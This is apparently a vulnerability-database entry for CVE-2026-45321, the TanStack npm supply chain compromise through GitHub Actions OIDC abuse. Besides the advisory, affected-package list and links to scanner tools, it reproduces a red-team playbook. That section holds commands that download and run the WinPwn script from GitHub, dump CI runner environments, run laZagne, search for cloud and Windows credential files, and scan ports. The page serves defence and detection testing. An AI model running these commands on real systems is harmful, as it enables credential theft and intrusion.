CVE-2026-45321
Overview
This vulnerability involves a supply chain compromise through abuse of GitHub Actions OIDC token authentication. The root cause is a misconfiguration of the pull_request_target event combined with cache poisoning across fork-to-base trust boundaries, enabling extraction of OIDC tokens at runtime. The affected components are multiple @tanstack/* npm packages published via the TanStack/router GitHub Actions workflow.
Vulnerability Description
On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart.
Impact
An unauthenticated attacker was able to publish malicious package versions under trusted publisher credentials without modifying the original publish workflow. This enables supply chain attacks where downstream users of the affected npm packages may unknowingly install credential-stealing malware. The attack requires the ability to create pull requests from forked repositories but no direct access to publisher credentials. The compromise can lead to widespread credential theft, data breaches, and erosion of trust in the affected software ecosystem.
Solution
Users should upgrade affected @tanstack packages to versions released after 2026-05-11 that remove the malicious versions. The TanStack team has published a security advisory (GHSA-g7cv-rxg3-hmpx) and a detailed postmortem at tanstack.com/blog/npm-supply-chain-compromise-postmortem outlining mitigation steps. The advisory recommends auditing GitHub Actions workflows to avoid pull_request_target misconfigurations and disabling cache sharing across fork boundaries. Refer to the official advisory and GitHub issue #7383 for patch details and workflow hardening instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (343)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Abhishake1 | Supersurkhet\/cli | 0.0.2 |
cpe:2.3:a:abhishake1:supersurkhet\/cli:0.0.2:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/cli | 0.0.3 |
cpe:2.3:a:abhishake1:supersurkhet\/cli:0.0.3:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/cli | 0.0.4 |
cpe:2.3:a:abhishake1:supersurkhet\/cli:0.0.4:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/cli | 0.0.5 |
cpe:2.3:a:abhishake1:supersurkhet\/cli:0.0.5:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/cli | 0.0.6 |
cpe:2.3:a:abhishake1:supersurkhet\/cli:0.0.6:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/cli | 0.0.7 |
cpe:2.3:a:abhishake1:supersurkhet\/cli:0.0.7:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/sdk | 0.0.2 |
cpe:2.3:a:abhishake1:supersurkhet\/sdk:0.0.2:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/sdk | 0.0.3 |
cpe:2.3:a:abhishake1:supersurkhet\/sdk:0.0.3:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/sdk | 0.0.4 |
cpe:2.3:a:abhishake1:supersurkhet\/sdk:0.0.4:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/sdk | 0.0.5 |
cpe:2.3:a:abhishake1:supersurkhet\/sdk:0.0.5:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/sdk | 0.0.6 |
cpe:2.3:a:abhishake1:supersurkhet\/sdk:0.0.6:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Supersurkhet\/sdk | 0.0.7 |
cpe:2.3:a:abhishake1:supersurkhet\/sdk:0.0.7:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Taskflow-Corp\/cli | 0.1.24 |
cpe:2.3:a:abhishake1:taskflow-corp\/cli:0.1.24:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Taskflow-Corp\/cli | 0.1.25 |
cpe:2.3:a:abhishake1:taskflow-corp\/cli:0.1.25:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Taskflow-Corp\/cli | 0.1.26 |
cpe:2.3:a:abhishake1:taskflow-corp\/cli:0.1.26:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Taskflow-Corp\/cli | 0.1.27 |
cpe:2.3:a:abhishake1:taskflow-corp\/cli:0.1.27:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Taskflow-Corp\/cli | 0.1.28 |
cpe:2.3:a:abhishake1:taskflow-corp\/cli:0.1.28:*:*:*:*:node.js:*:*
|
|
|
Abhishake1 | Taskflow-Corp\/cli | 0.1.29 |
cpe:2.3:a:abhishake1:taskflow-corp\/cli:0.1.29:*:*:*:*:node.js:*:*
|
|
|
Agentworkhq | Agentwork-Cli | 0.1.4 |
cpe:2.3:a:agentworkhq:agentwork-cli:0.1.4:*:*:*:*:node.js:*:*
|
|
|
Agentworkhq | Agentwork-Cli | 0.1.5 |
cpe:2.3:a:agentworkhq:agentwork-cli:0.1.5:*:*:*:*:node.js:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (13)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
fabriziosalmi/tanstack-compromise-checker
Shell script to detect TanStack npm supply chain attack indicators (CVE-2026-45321 / GHSA-g7cv-rxg3-hmpx)
|
fabriziosalmi | 2 | 1 | 2026-05-16 | View |
|
Intrudify/mini-shai-hulud-scanner
Scanner for the Mini Shai-Hulud npm/PyPI supply chain worm (NHS CC-4781 · CVE-2026-45321). Detects gh-token-monitor pers...
|
Intrudify | 2 | 0 | 2026-05-13 | View |
|
qi-scape/scan-shai-hulud
Detect CVE-2026-45321 Mini Shai-Hulud supply chain compromise — scans for 170 npm + 2 PyPI poisoned packages across TanS...
|
qi-scape | 1 | 1 | 2026-05-12 | View |
|
shayr1/shai-hulud-scan
Claude Code skill to scan machines for Mini Shai-Hulud (CVE-2026-45321) supply chain worm IOCs
|
shayr1 | 1 | 0 | 2026-05-12 | View |
|
nkopylov/tanscript-exploit-check
IOC checker for the TanStack/Mini Shai-Hulud npm supply chain attack (CVE-2026-45321)
|
nkopylov | 1 | 0 | 2026-05-18 | View |
|
7whyex/CVE-2026-45321-Tanstack
|
7whyex | 0 | 0 | 2026-06-25 | View |
|
adriannurrr/CVE-2026-45321-Tanstack
|
adriannurrr | 0 | 0 | 2026-06-21 | View |
|
ry-allan/tanstack-compromise-checker
Detects CVE-2026-45321 (TanStack supply chain compromise) and Mini Shai-Hulud worm artifacts. Scans node_modules, lockfi...
|
ry-allan | 0 | 0 | 2026-05-12 | View |
|
digi4care/shai-scan
Zero-dependency CLI scanner for npm/PyPI supply chain compromises. Detects compromised packages in lockfiles and system-...
|
digi4care | 0 | 0 | 2026-05-16 | View |
|
prashanthnataraj/mini-shai-hulud-detector
One-command scanner for the Mini Shai-Hulud npm supply-chain worm (CVE-2026-45321). Detect before rotating tokens.
|
prashanthnataraj | 0 | 0 | 2026-05-20 | View |
|
Yomisana/are-you-get-tanstack-attack
Are you get Tanstack Supply chain attack attack of 5/11? CVE-2026-45321 / GHSA-g7cv-rxg3-hmpx
|
Yomisana | 0 | 0 | 2026-05-12 | View |
|
renewablehacking/CVE-2026-45321-Tanstack
|
renewablehacking | 0 | 0 | 2026-05-25 | View |
|
Caixa-git/tanstack-shield
🛡️ One-command scanner for CVE-2026-45321 — TanStack npm supply-chain attack
|
Caixa-git | 0 | 0 | 2026-05-12 | View |
Threat Feed
20 eventsSighting activity recorded
Sighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (7)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-442 | Infected Software |
30%
|
Medium | High | |
| CAPEC-448 | Embed Virus into DLL |
30%
|
Medium | High | |
| CAPEC-636 | Hiding Malicious Data or Code within Files |
30%
|
— | High |
Red Team Playbook
50 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-45321 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/TanStack/router/issues/7383 |
| tanstack.com |
GitHub CVE
x_refsource_MISC
|
https://tanstack.com/blog/npm-supply-chain-compromise-postmortem |
| stepsecurity.io |
GitHub CVE
x_refsource_MISC
|
https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-45321 |